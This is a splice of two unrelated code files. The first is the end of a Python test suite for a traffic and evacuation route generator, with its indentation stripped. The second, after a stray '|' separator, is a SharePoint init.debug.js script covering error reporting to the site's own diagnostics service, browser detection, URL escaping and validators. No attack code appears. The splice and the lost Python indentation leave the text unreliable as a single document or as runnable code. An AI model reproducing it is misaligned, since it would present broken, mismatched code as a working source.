token = ' <!-- freeway + arterial roads demands -->'
file_util.append_line_to_file(routes_file, token)
time_step_size = 100
for time_point in range(0, 1200, time_step_size):
freeway_routes_demands = [(0, 0.6), (1, 0.6), (2, 0.6)]
self._random_traffic_generator.generate_routes_flow(
time_point, time_step_size, freeway_routes, freeway_routes_demands,
routes_file)
arterial_routes_demands = [(route_id, 0.1) for route_id in
range(len(arterial_routes))]
self._random_traffic_generator.generate_routes_flow(
time_point, time_step_size, arterial_routes, arterial_routes_demands,
routes_file)
token = '\n</routes>'
file_util.append_line_to_file(routes_file, token)
# Test by counting number of lines in the file.
with file_util.f_open(routes_file, 'r') as f:
self.assertLen(f.readlines(), 115)
def test_generate_incomplete_routes_flow(self):
"""This is an example of creating incomplete routes demands."""
routes_file = os.path.join(self._output_dir, 'incomplete_route_demands.xml')
token = '<routes>\n'
file_util.append_line_to_file(routes_file, token)
token = (' <vType id="Car" accel="0.8" decel="4.5" sigma="0.5" '
'length="5" minGap="2.5" maxSpeed="38" guiShape="passenger"/>\n')
file_util.append_line_to_file(routes_file, token)
incomplete_routes_demands = [('700010432', '706447588#1', 1.2),
('700010432', '5018655', 1.0),
('700010432', '416943886#2', 0.2),
('700010432', '694409909#6', 0.2),
('27628577#0', '392017177#1', 0.2),
('27628577#0', '694409909#6', 0.2)]
time_step_size = 100
for time_point in range(0, 1200, time_step_size):
self._random_traffic_generator.generate_incomplete_routes_flow(
time_point, time_step_size, incomplete_routes_demands, routes_file)
token = '\n</routes>'
file_util.append_line_to_file(routes_file, token)
# Test by counting number of lines in the file.
with file_util.f_open(routes_file, 'r') as f:
self.assertLen(f.readlines(), 78)
def test_generate_departure_time(self):
np.random.seed(123)
mean = 1000
std = 500
number = 200000
time_sampler_parameters = random_traffic_generator.TimeSamplerGammaMeanStd(
mean, std)
samples = self._random_traffic_generator.generate_departure_time(
time_sampler_parameters, number)
actual_mean = np.mean(samples)
actual_std = np.std(samples)
self.assertAlmostEqual(np.abs(mean - actual_mean) / mean, 0, places=2)
self.assertAlmostEqual(np.abs(std - actual_std) / std, 0, places=2)
def test_create_shortest_path_evacuation_demands(self):
# In the small map, some of the edges are not connected. So if the
# evacuation exit is set as one edge, then some of the edges may not have a
# path out. The problem can be caught in the warning or info log messages.
evacuation_edges = ['-415366780#0']
# Calculate the distance to the evacuation exits.
evacuation_path_trees = {}
evacuation_path_length = {}
for evacuation_edge in evacuation_edges:
(evacuation_path_trees[evacuation_edge],
evacuation_path_length[evacuation_edge]) = (
self._net.getRestrictedShortestPathsTreeToEdge(evacuation_edge))
# Settings for departure edges.
departure_edges = self._net.getEdges()
mean = 3 * 60 * 60
std = 0.7 * 60 * 60
time_sampler_parameters = random_traffic_generator.TimeSamplerGammaMeanStd(
mean, std)
car_per_meter_residential = 0.041666667
# Generate evacuation demands.
generator = self._random_traffic_generator
zipped_demands = generator.create_evacuation_shortest_path_demands(
departure_edges,
time_sampler_parameters,
car_per_meter_residential,
evacuation_edges,
evacuation_path_trees,
evacuation_path_length)
actual_destinations = [x.destination for x in zipped_demands]
actual_number_car_per_edge = [x.num_cars for x in zipped_demands]
target_destinations = [
None, '-415366780#0', '-415366780#0', '-415366780#0', '-415366780#0',
'-415366780#0', '-415366780#0', '-415366780#0', '-415366780#0']
target_number_car_per_edge = [23, 1, 13, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
self.assertListEqual(actual_destinations[:9], target_destinations)
self.assertListEqual(actual_number_car_per_edge[:25],
target_number_car_per_edge)
# Output the demand xml file.
output_file = os.path.join(self._output_dir, 'demands.rou.xml')
generator.write_evacuation_vehicle_path_demands(
zipped_demands, output_file)
# Test for output demands file.
with file_util.f_open(output_file, 'r') as f:
self.assertLen(f.readlines(), 528)
def test_create_auto_routing_evacuation_demands(self):
# Settings for departure edges.
departure_edges = self._net.getEdges()
mean = 3 * 60 * 60
std = 0.7 * 60 * 60
time_sampler_parameters = random_traffic_generator.TimeSamplerGammaMeanStd(
mean, std)
car_per_meter_residential = 0.041666667
# Generate evacuation demands.
generator = self._random_traffic_generator
zipped_demands = generator.create_evacuation_auto_routing_demands(
departure_edges,
time_sampler_parameters,
car_per_meter_residential)
actual_number_car_per_edge = [x.num_cars for x in zipped_demands]
target_number_car_per_edge = [23, 1, 13, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
self.assertListEqual(actual_number_car_per_edge[:25],
target_number_car_per_edge)
# Output the demand xml file.
output_file = os.path.join(self._output_dir, 'demands.rou.xml')
generator.write_evacuation_vehicle_auto_routing_demands(
zipped_demands, 'taz_exit', output_file)
# Test for output demands file.
with file_util.f_open(output_file, 'r') as f:
self.assertLen(f.readlines(), 427)
if __name__ == '__main__':
absltest.main()
|
function ULSxSy(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="init.debug.js";return o;}
// _lcid="1033" _version="14.0.4999"
// _localBinding
// Version: "14.0.4999"
// Copyright (c) Microsoft Corporation. All rights reserved.
var L_Infobar_Send_Error_Text="Failed to send JavaScript error report. Please see original error details below.";
var ULS;
if (!ULS)
ULS=new Object()
ULS.OriginalOnError=window.onerror;
window.onerror=ULSOnError;
function ULSTrim(str)
{ULSxSy:;
str=str.replace(/^\s*/, "");
str=str.replace(/\s*$/, "");
return str;
}
function ULSEncodeXML(str)
{ULSxSy:;
str=String(str);
str=str.replace(/&/g,"&");
str=str.replace(/</g,"<");
str=str.replace(/>/g,">");
str=str.replace(/'/g,"'");
str=str.replace(/"/g,""");
return str;
}
function ULSShowBucketParameters()
{ULSxSy:;
if (ULS && ULS.bucket)
{
var s="";
for (var i=0; i < ULS.bucket.length; i++)
s+='P'+(i+1)+'='+ULS.bucket[i]+'\n';
window.alert(s);
}
}
function ULSGetArgument(nArg, oArg, topfn)
{ULSxSy:;
var sV="";
try
{
var sT=typeof(oArg);
if (!oArg)
{
sV="{undefined}";
}
else if (sT=="string")
{
sV=ULSEncodeXML(oArg);
}
else if (sT=="function")
{
var oCS=topfn;
while (oCS && oCS !=oArg && oCS !=oCS.caller)
oCS=oCS.caller;
sV='\n'+ULSGetFunction(oArg, -1, oCS ? null : topfn)+'\n';
}
else if (sT=="object")
{
if (typeof(oArg.tagName) !="undefined")
{
sV='['+oArg.tagName+' id='+oArg.id+']';
}
else if (typeof(oArg.constructor)=="function")
{
sV=ULSGetArgument(nArg, oArg.constructor, topfn);
}
else
{
sV='['+oArg+']';
}
}
else
{
sV=oArg;
}
sV='<argument name="'+nArg+'" type="'+sT+'">'+sV+'</argument>';
}
catch (e)
{
}
return sV;
}
function ULSGetArguments(sArgNames, rgArgVal, topfn)
{ULSxSy:;
var sArgs="";
try
{
var rgArgNms=sArgNames.split(',');
if (rgArgNms[0])
{
for (var i=0; i < rgArgVal.length; i++)
{
sArgs+='\n';
sArgs+=ULSGetArgument(i < rgArgNms.length ? ULSTrim(rgArgNms[i]) : "{anonymous}", rgArgVal[i], topfn);
}
}
}
catch(e)
{
}
return sArgs;
}
function ULSGetFunction(fn, depth, topfn)
{ULSxSy:;
var sF=fn.toString();
var sFnNm=ULSTrim(sF.substring(0, sF.indexOf("{")));
if (sFnNm.indexOf("function")==0)
sFnNm=ULSTrim(sFnNm.substring(8));
var s='<function ';
if (depth >=0)
s+='depth="'+depth+'" ';
s+='signature="'+sFnNm+'">';
if (depth==0 || sFnNm.indexOf("anonymous")==0 || sFnNm.indexOf("(")==0)
s+='\n<![CDATA['+sF+']]>\n';
if (topfn && fn.arguments)
{
var iArgS=sF.indexOf('(')+1;
var iArgE=sF.indexOf(')');
var sArgs=ULSGetArguments(sF.substring(iArgS, iArgE), fn.arguments, topfn);
if (sArgs)
s+=sArgs+'\n';
}
s+='</function>';
return s;
}
function ULSGetMetadataFromFrame(oCS)
{ULSxSy:;
var sFunctionText=oCS.toString();
var iOpeningBrace=sFunctionText.indexOf("{");
if (iOpeningBrace==-1)
return false;
sFunctionText=sFunctionText.substr(iOpeningBrace+1);
var iFirstStatement=sFunctionText.search(/[^\s]/);
if (iFirstStatement==-1)
return false;
var reMatch=sFunctionText.match(/ULS[^\s;]*:/);
if (reMatch==null || reMatch.index !=iFirstStatement)
return false;
var sLabelName=reMatch[0];
sLabelName=sLabelName.substr(0, sLabelName.length - 1);
try
{
var o=eval(sLabelName+"()");
if (typeof(o)=="undefined")
return false;
ULS.teamName=o.ULSTeamName;
ULS.originalFile=o.ULSFileName;
return true;
}
catch(e)
{
return false;
}
}
function ULSGetCallstack(callerArg)
{ULSxSy:;
var stack="";
try
{
if (callerArg)
{
var fFoundMetadata=false;
var oCS=callerArg;
var d=0;
while (oCS && d < 20)
{
if (!fFoundMetadata)
fFoundMetadata=ULSGetMetadataFromFrame(oCS);
stack+=ULSGetFunction(oCS, d, callerArg)+'\n';
oCS=oCS.caller;
d++;
}
}
}
catch (e)
{
}
return stack;
}
function ULSGetClientInfo()
{ULSxSy:;
var client="";
try
{
var lang=navigator.browserLanguage;
if (!lang) lang=navigator.language;
if (!lang) lang=navigator.systemLanguage;
var agt=navigator.userAgent.toLowerCase();
var app=navigator.appName;
var ver=parseFloat(navigator.appVersion);
if (agt.indexOf("msie ") !=-1)
ver=parseFloat(agt.substring(agt.indexOf("msie ")+5));
if (agt.indexOf("firefox/") !=-1)
{
app="Firefox";
ver=parseFloat(agt.substring(agt.indexOf("firefox/")+8));
}
client+='<browser name="'+ULSEncodeXML(app)+'" version="'+ULSEncodeXML(ver)+'" />\n';
client+='<useragent>'+ULSEncodeXML(navigator.userAgent)+'</useragent>\n';
if (lang)
client+='<language>'+ULSEncodeXML(lang)+'</language>\n';
if (document.referrer)
{
var ref=document.referrer;
client+='<referrer>'+ULSEncodeXML(ref)+'</referrer>\n';
}
if (window.location)
{
var loc=window.location.toString();
client+='<location>'+ULSEncodeXML(loc)+'</location>\n';
}
if (ULS.Correlation)
client+='<correlation>'+ULSEncodeXML(ULS.Correlation)+'</correlation>\n';
}
catch (e)
{
}
return client;
}
function ULSHandleWebServiceResponse()
{ULSxSy:;
if (ULS.request.readyState==4 && ULS.request.status==200) {
if (ULS.request.responseText !=null)
{
var response=ULS.request.responseText;
var i1=response.indexOf('<SendClientScriptErrorReportResult>')+35;
var i2=response.indexOf('</SendClientScriptErrorReportResult>');
if (i1 !=-1 && i2 !=-1 && i2 > i1)
{
ULS.bucket=response.substring(i1, i2).split('\n');
if (ULS.OnReceiveBucketParameters)
ULS.OnReceiveBucketParameters();
}
}
ULSFinishErrorHandling();
}
if ((ULS.request.readyState==0 || ULS.request.readyState==4) && ULS.request.status > 200) {
window.alert(L_Infobar_Send_Error_Text+'\n\n('+ULS.request.status+') '+ULS.request.statusText);
ULSFinishErrorHandling();
}
}
function ULSFinishErrorHandling()
{ULSxSy:;
ULS.message=null;
}
function ULSGetWebServiceUrl()
{ULSxSy:;
var url="";
var idx1=document.URL.indexOf('://');
if (idx1 > 0)
{
var idx2=document.URL.indexOf('/', idx1+3);
if (idx2 > 0)
url=document.URL.substring(0, idx2);
else
url=document.URL;
}
if (url.charAt(url.length-1) !='/')
url+='/';
url+='_vti_bin/diagnostics.asmx';
return url;
}
function ULSSendReport()
{ULSxSy:;
if (XMLHttpRequest)
ULS.request=new XMLHttpRequest();
else
ULS.request=new ActiveXObject("MSXML2.XMLHTTP");
ULS.request.onreadystatechange=ULSHandleWebServiceResponse;
ULS.request.open("POST", ULSGetWebServiceUrl(), true);
ULS.request.setRequestHeader("Content-Type", "text/xml; charset=utf-8");
ULS.request.setRequestHeader("SOAPAction", ULS.WebServiceNS+"SendClientScriptErrorReport");
ULS.request.send('<?xml version="1.0" encoding="utf-8"?>'+ '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">'+ '<soap:Body>'+ '<SendClientScriptErrorReport xmlns="'+ULS.WebServiceNS+'">'+ '<message>'+ULSEncodeXML(ULS.message)+'</message>'+ '<file>'+ULSEncodeXML(ULS.file)+'</file>'+ '<line>'+ULS.line+'</line>'+ '<stack>'+ULSEncodeXML(ULS.callStack)+'</stack>'+ '<client>'+ULSEncodeXML(ULS.clientInfo)+'</client>'+ '<team>'+ULSEncodeXML(ULS.teamName)+'</team>'+ '<originalFile>'+ULSEncodeXML(ULS.originalFile)+'</originalFile>'+ '</SendClientScriptErrorReport>'+ '</soap:Body>'+ '</soap:Envelope>');
}
function ULSSendExceptionImpl(msg, url, line, oCaller)
{ULSxSy:;
if (ULS && ULS.enable)
{
ULS.enable=false;
window.onerror=ULS.OriginalOnError;
ULS.WebServiceNS="http://schemas.microsoft.com/sharepoint/diagnostics/";
ULS.OnReceiveBucketParameters=null;
try
{
ULS.message=msg;
if (url.indexOf('?') !=-1)
url=url.substr(0, url.indexOf('?'));
ULS.file=url.substr(url.lastIndexOf('/')+1);
ULS.line=line;
ULS.teamName="";
ULS.originalFile="";
ULS.callStack='<stack>\n'+ULSGetCallstack(oCaller)+'</stack>';
ULS.clientInfo='<client>\n'+ULSGetClientInfo()+'</client>';
ULSSendReport();
}
catch (e)
{
}
}
if (ULS && ULS.OriginalOnError)
return ULS.OriginalOnError(msg, url, line)
else
return false;
}
function ULSOnError(msg, url, line)
{ULSxSy:;
return ULSSendExceptionImpl(msg, url, line, ULSOnError.caller);
}
function ULSSendException(ex)
{ULSxSy:;
var message=ex.message;
if (typeof(message)=="undefined")
message=ex;
ULSSendExceptionImpl(message, document.location.href, 0, ULSSendException.caller);
}
function Browseris () {ULSxSy:;
var agt=navigator.userAgent.toLowerCase();
this.osver=1.0;
if (agt)
{
var stOSVer=agt.substring(agt.indexOf("windows ")+11);
this.osver=parseFloat(stOSVer);
}
this.major=parseInt(navigator.appVersion);
this.nav=((agt.indexOf('mozilla')!=-1)&&((agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible')==-1)));
this.nav6=this.nav && (this.major==5);
this.nav6up=this.nav && (this.major >=5);
this.nav7up=false;
if (this.nav6up)
{
var navIdx=agt.indexOf("netscape/");
if (navIdx >=0 )
this.nav7up=parseInt(agt.substring(navIdx+9)) >=7;
}
this.ie=(agt.indexOf("msie")!=-1);
this.aol=this.ie && agt.indexOf(" aol ")!=-1;
if (this.ie)
{
var stIEVer=agt.substring(agt.indexOf("msie ")+5);
this.iever=parseInt(stIEVer);
this.verIEFull=parseFloat(stIEVer);
}
else
this.iever=0;
this.ie4up=this.ie && (this.major >=4);
this.ie5up=this.ie && (this.iever >=5);
this.ie55up=this.ie && (this.verIEFull >=5.5);
this.ie6up=this.ie && (this.iever >=6);
this.ie7down=this.ie && (this.iever <=7);
this.ie7up=this.ie && (this.iever >=7);
this.ie8standard=this.ie && document.documentMode && (document.documentMode==8);
this.winnt=((agt.indexOf("winnt")!=-1)||(agt.indexOf("windows nt")!=-1));
this.win32=((this.major >=4) && (navigator.platform=="Win32")) ||
(agt.indexOf("win32")!=-1) || (agt.indexOf("32bit")!=-1);
this.win64bit=(agt.indexOf("win64")!=-1);
this.win=this.winnt || this.win32 || this.win64bit;
this.mac=(agt.indexOf("mac")!=-1);
this.w3c=this.nav6up;
this.safari=(agt.indexOf("webkit")!=-1);
this.safari125up=false;
this.safari3up=false;
if (this.safari && this.major >=5)
{
var navIdx=agt.indexOf("webkit/");
if (navIdx >=0)
this.safari125up=parseInt(agt.substring(navIdx+7)) >=125;
var verIdx=agt.indexOf("version/");
if (verIdx >=0)
this.safari3up=parseInt(agt.substring(verIdx+8)) >=3;
}
this.firefox=this.nav && (agt.indexOf("firefox") !=-1);
this.firefox3up=false;
if (this.firefox && this.major >=5)
{
var ffVerIdx=agt.indexOf("firefox/");
if (ffVerIdx >=0)
this.firefox3up=parseInt(agt.substring(ffVerIdx+8)) >=3;
}
}
var browseris=new Browseris();
var bis=browseris;
function byid(id) {ULSxSy:; return document.getElementById(id); }
function newE(tag) {ULSxSy:; return document.createElement(tag); }
function wpf() {ULSxSy:; return document.forms[MSOWebPartPageFormName]; }
function startReplacement() {}
function AttachEvent(eventName, eventFunc, el)
{ULSxSy:;
if(!el) el=window;
if(eventName=='domLoad')
{
eventName=el.addEventListener && browseris.nav ? 'DOMContentLoaded' : 'load';
}
if(typeof(eventFunc)=='string') eventFunc=new Function(eventFunc);
if(el.addEventListener) el.addEventListener(eventName, eventFunc, false);
else el.attachEvent('on'+eventName, eventFunc);
}
function DetachEvent(eventName, eventFunc, el)
{ULSxSy:;
if(!el) el=window;
if(eventName=='domLoad')
{
eventName=el.removeEventListener && browseris.nav ? 'DOMContentLoaded' : 'load';
}
if(typeof(eventFunc)=='string') eventFunc=new Function(eventFunc);
if(el.removeEventListener) el.removeEventListener(eventName, eventFunc, false);
else el.detachEvent('on'+eventName, eventFunc);
}
function CancelEvent(e)
{ULSxSy:;
e.cancelBubble=true;
if(e.preventDefault) e.preventDefault();
if(e.stopPropogation) e.stopPropogation();
e.returnValue=false;
return false;
}
function GetEventSrcElement(e)
{ULSxSy:;
if (browseris.nav)
return e.target;
else
return e.srcElement;
}
function GetEventKeyCode(e)
{ULSxSy:;
if (browseris.nav)
return e.which;
else
return e.keyCode;
}
function GetInnerText(e)
{ULSxSy:;
if (browseris.safari && browseris.major < 5)
return e.innerHTML;
else if (browseris.nav)
return e.textContent;
else
return e.innerText;
}
if( typeof(Sys) !="undefined" && Sys && Sys.Application ){
Sys.Application.notifyScriptLoaded();
}
if(typeof(NotifyScriptLoadedAndExecuteWaitingJobs)=="function"){
NotifyScriptLoadedAndExecuteWaitingJobs("owsbrows.js");
}
var g_cde={};
function GetCachedElement(id)
{ULSxSy:;
var ret=null;
if (!(ret=g_cde[id]))
{
ret=document.getElementById(id);
g_cde[id]=ret;
}
return ret;
}
var UTF8_1ST_OF_2=0xc0 ;
var UTF8_1ST_OF_3=0xe0 ;
var UTF8_1ST_OF_4=0xf0 ;
var UTF8_TRAIL=0x80 ;
var HIGH_SURROGATE_BITS=0xD800 ;
var LOW_SURROGATE_BITS=0xDC00 ;
var SURROGATE_6_BIT=0xFC00 ;
var SURROGATE_ID_BITS=0xF800 ;
var SURROGATE_OFFSET=0x10000;
function escapeProperlyCoreCore(str, bAsUrl, bForFilterQuery, bForCallback)
{ULSxSy:;
var strOut="";
var strByte="";
var ix=0;
var strEscaped=" \"%<>\'&";
if (typeof(str)=="undefined")
return "";
for (ix=0; ix < str.length; ix++)
{
var charCode=str.charCodeAt(ix);
var curChar=str.charAt(ix);
if(bAsUrl && (curChar=='#' || curChar=='?') )
{
strOut+=str.substr(ix);
break;
}
if (bForFilterQuery && curChar=='&')
{
strOut+=curChar;
continue;
}
if (charCode <=0x7f)
{
if (bForCallback)
{
strOut+=curChar;
}
else
{
if ( (charCode >=97 && charCode <=122) ||
(charCode >=65 && charCode <=90) ||
(charCode >=48 && charCode <=57) ||
(bAsUrl && (charCode >=32 && charCode <=95) && strEscaped.indexOf(curChar) < 0))
{
strOut+=curChar;
}
else if (charCode <=0x0f)
{
strOut+="%0"+charCode.toString(16).toUpperCase();
}
else if (charCode <=0x7f)
{
strOut+="%"+charCode.toString(16).toUpperCase();
}
}
}
else if (charCode <=0x07ff)
{
strByte=UTF8_1ST_OF_2 | (charCode >> 6);
strOut+="%"+strByte.toString(16).toUpperCase() ;
strByte=UTF8_TRAIL | (charCode & 0x003f);
strOut+="%"+strByte.toString(16).toUpperCase();
}
else if ((charCode & SURROGATE_6_BIT) !=HIGH_SURROGATE_BITS)
{
strByte=UTF8_1ST_OF_3 | (charCode >> 12);
strOut+="%"+strByte.toString(16).toUpperCase();
strByte=UTF8_TRAIL | ((charCode & 0x0fc0) >> 6);
strOut+="%"+strByte.toString(16).toUpperCase();
strByte=UTF8_TRAIL | (charCode & 0x003f);
strOut+="%"+strByte.toString(16).toUpperCase();
}
else if (ix < str.length - 1)
{
var charCode=(charCode & 0x03FF) << 10;
ix++;
var nextCharCode=str.charCodeAt(ix);
charCode |=nextCharCode & 0x03FF;
charCode+=SURROGATE_OFFSET;
strByte=UTF8_1ST_OF_4 | (charCode >> 18);
strOut+="%"+strByte.toString(16).toUpperCase();
strByte=UTF8_TRAIL | ((charCode & 0x3f000) >> 12);
strOut+="%"+strByte.toString(16).toUpperCase();
strByte=UTF8_TRAIL | ((charCode & 0x0fc0) >> 6);
strOut+="%"+strByte.toString(16).toUpperCase();
strByte=UTF8_TRAIL | (charCode & 0x003f);
strOut+="%"+strByte.toString(16).toUpperCase();
}
}
return strOut;
}
function escapeProperly(str)
{ULSxSy:;
return escapeProperlyCoreCore(str, false, false, false);
}
function escapeProperlyCore(str, bAsUrl)
{ULSxSy:;
return escapeProperlyCoreCore(str, bAsUrl, false, false);
}
function escapeUrlForCallback(str)
{ULSxSy:;
var iPound=str.indexOf("#");
var iQues=str.indexOf("?");
if ((iPound > 0) && ((iQues==-1) || (iPound < iQues)))
{
var strNew=str.substr(0, iPound);
if (iQues > 0)
{
strNew+=str.substr(iQues);
}
str=strNew;
}
return escapeProperlyCoreCore(str, true, false, true);
}
function PageUrlValidation(url)
{ULSxSy:;
if ((url.substr(0, 4)=="http") ||
(url.substr(0, 1)=="/") ||
(url.indexOf(":")==-1))
{
return url;
}
else
{
var L_InvalidPageUrl_Text="Invalid page URL: ";
alert(L_InvalidPageUrl_Text);
return "";
}
}
function SelectRibbonTab(tabId, force)
{ULSxSy:;
var ribbon=null;
try
{
ribbon=SP.Ribbon.PageManager.get_instance().get_ribbon();
}
catch(e)
{
}
if(!ribbon)
{
if (typeof(_ribbonStartInit)=="function")
_ribbonStartInit(tabId, false, null);
}
else if (force || ribbon.get_selectedTabId()=="Ribbon.Read")
{
ribbon.selectTabById(tabId);
}
}
function FV4UI()
{ULSxSy:;
return typeof(_fV4UI) !="undefined" && _fV4UI;
}
var itemTable=null;
var currentCtx=null;
var g_OfflineClient=null;
function TakeOfflineDisabled(scope, siteTemplateId, listBaseType, listTemplateType)
{ULSxSy:;
try
{
if(g_OfflineClient==null )
{
if(document.cookie.indexOf("OfflineClientInstalled")==-1)
{
if(IsSupportedMacBrowser())
g_OfflineClient=CreateMacPlugin();
else
g_OfflineClient=new ActiveXObject("SharePoint.OfflineClient");
document.cookie="OfflineClientInstalled=1";
}
else
{
if(GetCookie("OfflineClientInstalled")=="1")
{
if(IsSupportedMacBrowser())
g_OfflineClient=CreateMacPlugin();
else
g_OfflineClient=new ActiveXObject("SharePoint.OfflineClient");
}
}
}
if (g_OfflineClient !=null &&
g_OfflineClient.IsOfflineAllowed(scope, siteTemplateId, listBaseType, listTemplateType))
{
return false;
}
else
{
return true;
};
}
catch(e)
{
document.cookie="OfflineClientInstalled=0";
g_OfflineClient=null;
}
return true;
}
function GoToHistoryLink(elm, strVersion)
{ULSxSy:;
if (elm.href==null)
return;
var targetUrl=elm.href;
var ch=elm.href.indexOf("?") >=0 ? "&" : "?";
var srcUrl=ch+"VersionNo="+strVersion;
var srcSourceUrl=GetSource();
if (srcSourceUrl !=null && srcSourceUrl !="")
srcSourceUrl="&"+"Source="+srcSourceUrl;
var targetUrl=elm.href+srcUrl+srcSourceUrl;
if (isPortalTemplatePage(targetUrl))
window.top.location=STSPageUrlValidation(targetUrl);
else
window.location=STSPageUrlValidation(targetUrl);
}
function GetGotoLinkUrl(elm)
{ULSxSy:;
if (elm.href==null)
return null;
var ch=elm.href.indexOf("?") >=0 ? "&" : "?";
var srcUrl=GetSource();
if (srcUrl !=null && srcUrl !="")
srcUrl=ch+"Source="+srcUrl;
var targetUrl=elm.href+srcUrl;
return targetUrl;
}
function GoToLink(elm)
{ULSxSy:;
var targetUrl=GetGotoLinkUrl(elm);
if (targetUrl==null)
return;
if (isPortalTemplatePage(targetUrl))
window.top.location=STSPageUrlValidation(targetUrl);
else
window.location=STSPageUrlValidation(targetUrl);
}
function GoToLinkOrDialogNewWindow(elm)
{ULSxSy:;
if (elm.href==null)
return;
if (window.location.search.match("[?&]IsDlg=1"))
window.open(elm.href);
else
GoToLink(elm);
}
function GoToDiscussion(url)
{ULSxSy:;
var ch=url.indexOf("?") >=0 ? "&" : "?";
var srcUrl=GetSource();
if (srcUrl !=null && srcUrl !="")
url+=ch+"TopicsView="+srcUrl;
STSNavigate(url);
}
function GetCurrentEltStyle(element, cssStyle)
{ULSxSy:;
if (element.currentStyle)
return element.currentStyle[cssStyle];
else
{
if (window && window.getComputedStyle)
{
var compStyle=window.getComputedStyle(element, null);
if (compStyle && compStyle.getPropertyValue)
{
return compStyle.getPropertyValue(cssStyle);
}
}
else
{
return null;
}
}
}
function EEDecodeSpecialChars(str)
{ULSxSy:;
var decodedStr=str.replace(/"/g, "\"");
decodedStr=decodedStr.replace(/>/g, ">");
decodedStr=decodedStr.replace(/</g, "<");
decodedStr=decodedStr.replace(/'/g, "'");
decodedStr=decodedStr.replace(/&/g, "&");
return decodedStr;
}
function DeferCall()
{ULSxSy:;
if (arguments.length==0)
return null;
var args=arguments;
var fn=null;
if (browseris.ie5up || browseris.nav6up)
{
eval("if (typeof("+args[0]+")=='function') { fn="+args[0]+"; }");
}
if (fn==null)
return null;
if (args.length==1) return fn();
else if (args.length==2) return fn(args[1]);
else if (args.length==3) return fn(args[1], args[2]);
else if (args.length==4) return fn(args[1], args[2], args[3]);
else if (args.length==5) return fn(args[1], args[2], args[3], args[4]);
else if (args.length==6) return fn(args[1], args[2], args[3], args[4], args[5]);
else if (args.length==7) return fn(args[1], args[2], args[3], args[4], args[5], args[6]);
else if (args.length==8) return fn(args[1], args[2], args[3], args[4], args[5], args[6], args[7]);
else if (args.length==9) return fn(args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8]);
else if (args.length==10) return fn(args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9]);
else
{
var L_TooManyDefers_Text="Too many arguments passed to DeferCall";
alert(L_TooManyDefers_Text);
}
return null;
}
var L_ContainIllegalChar_Text="^1 contains illegal character \'^2\'.";
var L_ContainIllegalString_Text="^1 contains illegal characters or substring.";
var LegalUrlChars=new Array
(
false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false,
false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false,
true, true, false, false, true, false, false, true, true, true, false, true, true, true, true, true,
true, true, true, true, true, true, true, true, true, true, false, true, false, true, false, false,
true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true,
true, true, true, true, true, true, true, true, true, true, true, true, false, true, true, true,
true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true,
true, true, true, true, true, true, true, true, true, true, true, false, false, false, false, false,
false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false,
false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false
);
function AdmBuildParam(stPattern)
{ULSxSy:;
var re;
var i;
for (i=1; i < AdmBuildParam.arguments.length; i++)
{
re=new RegExp("\\^"+i);
stPattern=stPattern.replace(re, AdmBuildParam.arguments[i]);
}
return stPattern;
}
function IndexOfIllegalCharInUrlLeafName(strLeafName)
{ULSxSy:;
for(var i=0; i<strLeafName.length; i++)
{
var ch=strLeafName.charCodeAt(i);
if(strLeafName.charAt(i)=='.' && (i==0 || i==(strLeafName.length-1)))
return i;
if(ch < 160 && ( strLeafName.charAt(i)=='/' || !LegalUrlChars[ch]) )
return i;
}
return -1;
}
function IndexOfIllegalCharInUrlPath(strPath)
{ULSxSy:;
for(var i=0; i<strPath.length; i++)
{
var ch=strPath.charCodeAt(i);
if( ch < 160 && !LegalUrlChars[ch])
return i;
}
return -1;
}
function UrlContainsIllegalStrings(strPath)
{ULSxSy:;
if(strPath.indexOf("..") >=0
|| strPath.indexOf("//") >=0
|| strPath.indexOf("./") >=0
|| strPath.indexOf("/.") >=0
|| strPath.indexOf(".")==0
|| strPath.lastIndexOf(".")==(strPath.length-1)
)
{
return true;
}
return false;
}
function UrlLeafNameValidate(source, args)
{ULSxSy:;
var strMessagePrefix="";
if( typeof(source.MessagePrefix)=="string" )
{
strMessagePrefix=source.MessagePrefix;
}
else
{
strMessagePrefix=source.id;
}
var i=IndexOfIllegalCharInUrlLeafName(args.Value);
if( i >=0 )
{
if(typeof(source.errormessage)=="string")
{
source.errormessage=AdmBuildParam(L_ContainIllegalChar_Text, strMessagePrefix, args.Value.charAt(i));
}
args.IsValid=false;
}
else if( UrlContainsIllegalStrings(args.Value) )
{
if(typeof(source.errormessage)=="string" )
{
source.errormessage=AdmBuildParam(L_ContainIllegalString_Text, strMessagePrefix);
}
args.IsValid=false;
}
else
{
args.IsValid=true;
}
}
function UrlPathValidate(source, args)
{ULSxSy:;
var strMessagePrefix="";
if( typeof(source.MessagePrefix)=="string" )
{
strMessagePrefix=source.MessagePrefix;
}
else
{
strMessagePrefix=source.id;
}
var i=IndexOfIllegalCharInUrlPath(args.Value);
if( i >=0)
{
if(typeof(source.errormessage)=="string")
{
source.errormessage=AdmBuildParam(L_ContainIllegalChar_Text, strMessagePrefix, args.Value.charAt(i));
}
args.IsValid=false;
}
else if( UrlContainsIllegalStrings(args.Value) )
{
if(typeof(source.errormessage)=="string" )
{
source.errormessage=AdmBuildParam(L_ContainIllegalString_Text, strMessagePrefix);
}
args.IsValid=false;
}
else
{
args.IsValid=true;
}
}
function IsCheckBoxListSelected(checkboxlist)
{ULSxSy:;
if(checkboxlist==null )
return false;
var len=checkboxlist.length ;
if (len==null)
{
return checkboxlist.checked;
}
else
{
for (var i=0; i < len ; i++)
{
if (checkboxlist[i].checked)
{
return true;
}
}
}
return false;
}
function STSValidatorEnable(val, bEnable, bSilent)
{ULSxSy:;
var objVal=document.getElementById(val);
if (objVal==null)
return;
